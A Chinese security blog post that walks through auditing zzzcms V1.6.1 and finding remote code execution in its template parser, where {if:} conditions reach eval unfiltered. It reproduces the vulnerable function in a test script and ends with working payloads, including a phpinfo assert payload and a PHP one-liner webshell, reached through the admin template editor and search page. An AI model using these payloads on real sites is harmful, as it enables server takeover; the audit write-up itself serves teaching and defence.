再谈zzzcms高危漏洞,你也能审计出来的代码执行

  1. 定位漏洞点
  2. 细看漏洞函数
  3. 如何调用漏洞函数
  4. 第一个匹配点,利用失败
  5. 第N个匹配点,利用成功
  6. 总结

文章首发公众号:[信安之路]
zzzcms的后台模板处的命令执行可以说是这套CMS比较典型的漏洞了,很久之前自己跟踪过一遍漏洞代码,最近又拿起来玩了玩,发现自己也能够审计到这个漏洞点,整个漏洞审计的过程也很简单,没有啥骚操作。

下面我就会按照审计的思路,而并非漏洞分析的思路,给大家说说我是如何通过自己的努力审计出这个命令执行漏洞的

cms下载地址:https://yunpan.360.cn/surl_ycSTDKgjnKt
这里我下载的是V1.6.1

定位漏洞点

审计的时候我是直接全局搜索敏感函数

1
2
php代码执行函数:
eval,preg_replace+/e,assert,call_user_func,call_user_func_array,create_function

首先看下eval,全局搜索

仔细翻翻看,存在eval函数的php文件就只有这一个zzz_template.php,而我们的这个命令执行的漏洞点也就是存在这里。(惊不惊喜,发现漏洞点其实就是这么简单)

跟踪到了 /inc/zzz_template.php 中的 parserIfLabel 函数

有嫌疑的点我们找到了,接下来我们仔细看看这个函数

细看漏洞函数

来看一下这个函数的逻辑

无敌,看起来并没有啥过滤,我们本地将这个函数弄出来测试一下
这里将我们$zcontent的值构造一下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
<?php

$zcontent = '{if:assert($_request[phpinfo()])}phpinfo();{end if}';
parserIfLabel( $zcontent );

function parserIfLabel( $zcontent ) {
$pattern = '/\{if:([\s\S]+?)}([\s\S]*?){end\s+if}/';
if ( preg_match_all( $pattern, $zcontent, $matches ) ) {
$count = count( $matches[ 0 ] );
for ( $i = 0; $i < $count; $i++ ) {
$flag = '';
$out_html = '';
$ifstr = $matches[ 1 ][ $i ];
$ifstr = str_replace( '<>', '!=', $ifstr );
$ifstr = str_replace( 'mod', '%', $ifstr );
$ifstr1 = cleft( $ifstr, 0, 1 );
switch ( $ifstr1 ) {
case '=':
$ifstr = '0' . $ifstr;
break;
case '{':
case '[':
$ifstr = "'" . str_replace( "=", "'=", $ifstr );
break;
}
$ifstr = str_replace( '=', '==', $ifstr );
$ifstr = str_replace( '===', '==', $ifstr );
@eval( 'if(' . $ifstr . '){$flag="if";}else{$flag="else";}' );
}
}
}

function cleft( $str, $start = 0, $num = 1 ) {
$var = trim( $str );
$result = substr( $var, $start, $num );
return $result;
}
?>

访问:http://127.0.0.1/test.php

成功执行命令了,这个函数存在命令执行漏洞!

如何调用漏洞函数

这里又出现了一个问题,漏洞函数找到了,如何去调用这一个函数呢?

在审计的时候我一般会有两种思路:
1、特定的功能点调用漏洞函数,我们寻找功能点
2、可以直接url调用漏洞函数,构造url触发漏洞

大家可以自行尝试一下这两种思路。

那么这里是哪种呢,往下看,我们看看zzz_template.php的整体架构。


原来我们这里的 parserIfLabel 函数是在 ParserTemplate 类中的,而且这个类中的 parserCommom 也会调用这个函数。

那么想触发我们的漏洞函数,首先必须要生成 ParserTemplate 这个类。

全局搜索

这里在两个文件中出现了 ParserTemplate 类,一个是/admin123/save.php,另外一个是zzz_client.php,不喜欢看后台我就直接看了下zzz_client.php。

zzz_client.php中匹配到了多次,我们一个一个来看

第一个匹配点,利用失败

注意上面的if条件:$location==’user’

我们继续跟踪 $location 这个变量,来到了line23

跟踪 getlocation() 这个函数

其实下面还有一大段代码没有截出来,但是没有关系,我们只需要用get请求location参数,举个例子:

1
2
3
4
我们构造url:
http://127.0.0.1/zzzphpV1.6.1/?location=user
那么我们的参数:
$location=user

这样就能满足我们的条件了,继续看if里面的内容,我这里继续贴出关键的代码:

这里的 TPL_DIR 的值为 \template\pc\cn2016\html\,怎么构造的可以自己跟踪一下

整个流程我简化出来了,要是我们可以将我们的$zcontent修改成我们构造好的内容,那岂不是就能够触发了。

所以这个点我们要修改 \template\pc\cn2016\html\userlogin.html 中的内容,这里后台给我们提供了这样的功能。

但是我们发现 html 文件夹下并不存在userlogin.html,尴尬了,又不能自己新建一个。

看来 location为user这条路走不通,继续看下一个。

第N个匹配点,利用成功

失败乃成功之母,在我跟踪了N次之后,终于找到了可以利用的一个点(大家可以自行尝试一下)

其实也就是第三个匹配的点,前两个用的有点鸡肋。

当我们的 $location=search/form/screen/app的时候进入下一步。
html文件下并不存在 form/screen/app.html,这里只能利用search了呀。

于是乎我访问了

1
http://127.0.0.1/zzzphpV1.6.1/?location=serach

并没有跳转到search的页面,而是给我返回到了主页,按道理来说应该是能行的啊,后来发现问题在getlocation这个函数里面的checklocation函数

search并不在这几个列表里面,那要想办法继续搞啊,于是我继续细看了getlocation函数,发现一个有意思的地方

要是search自定义了LOCATION就好了,全局搜索这个LOCATION

嘿嘿,正好search中定义了这个值,在 search\index.php 中,这不就刚好吗,我去修改了 html下的search.html

然后访问

1
http://127.0.0.1/zzzphpV1.6.1/search/index.php

成功执行phpinfo

1
2
phpinfo_payload:{if:assert($_request[phpinfo()])}phpinfo();{end if}
一句话_payload:{if:<?php eval($_POST[sss]) ?>}phpinfo();{end if}

还有没有其他可以利用的点就靠大家自行去挖掘了

总结

自身的审计能力和漏洞复现跟踪代码完全是两码事,复现看懂了漏洞成因你不一定能够审计的出来,自身的审计能力也需要经过大量的思考才会有所提升,希望大家都能够静下心来看会代码,漏洞就在那里,看你是否主动去寻找到它了,希望这篇文章能对你有所帮助。


转载请注明来源,欢迎对文章中的引用来源进行考证,欢迎指出任何有错误或不够清晰的表达。可以在下面评论区评论,也可以邮件至 sher10cksec@foxmail.com

文章标题:再谈zzzcms高危漏洞,你也能审计出来的代码执行

本文作者:sher10ck

发布时间:2020-01-08, 15:03:46

最后更新:2020-01-13, 12:46:54

原始链接:http://sherlocz.github.io/2020/01/08/再谈zzzcms代码执行,你也能审计出来的高危漏洞/

版权声明: "署名-非商用-相同方式共享 4.0" 转载请保留原文链接及作者。

目录